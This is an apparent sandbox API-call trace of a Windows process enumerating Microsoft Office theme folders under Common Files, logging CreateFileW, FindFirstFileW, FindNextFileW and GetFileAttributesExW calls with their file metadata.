	[0050.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.694] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.694] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.699] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.699] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.701] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.701] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1
	[0050.701] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1
	[0050.701] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.702] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.702] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.702] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264c5a8 | out: lpFileInformation=0x1264c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5)) returned 1
	[0050.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264c5f8 | out: lpFileInformation=0x1264c5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4)) returned 1
	[0050.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264c648 | out: lpFileInformation=0x1264c648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e)) returned 1
	[0050.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264c698 | out: lpFileInformation=0x1264c698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240)) returned 1
	[0050.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x1264c6e8 | out: lpFileInformation=0x1264c6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.704] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264c878 | out: lpFileInformation=0x1264c878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5)) returned 1
	[0050.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264c8c8 | out: lpFileInformation=0x1264c8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b)) returned 1
	[0050.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264c918 | out: lpFileInformation=0x1264c918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639)) returned 1
	[0050.704] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264c968 | out: lpFileInformation=0x1264c968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1)) returned 1
	[0050.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x1264c9b8 | out: lpFileInformation=0x1264c9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
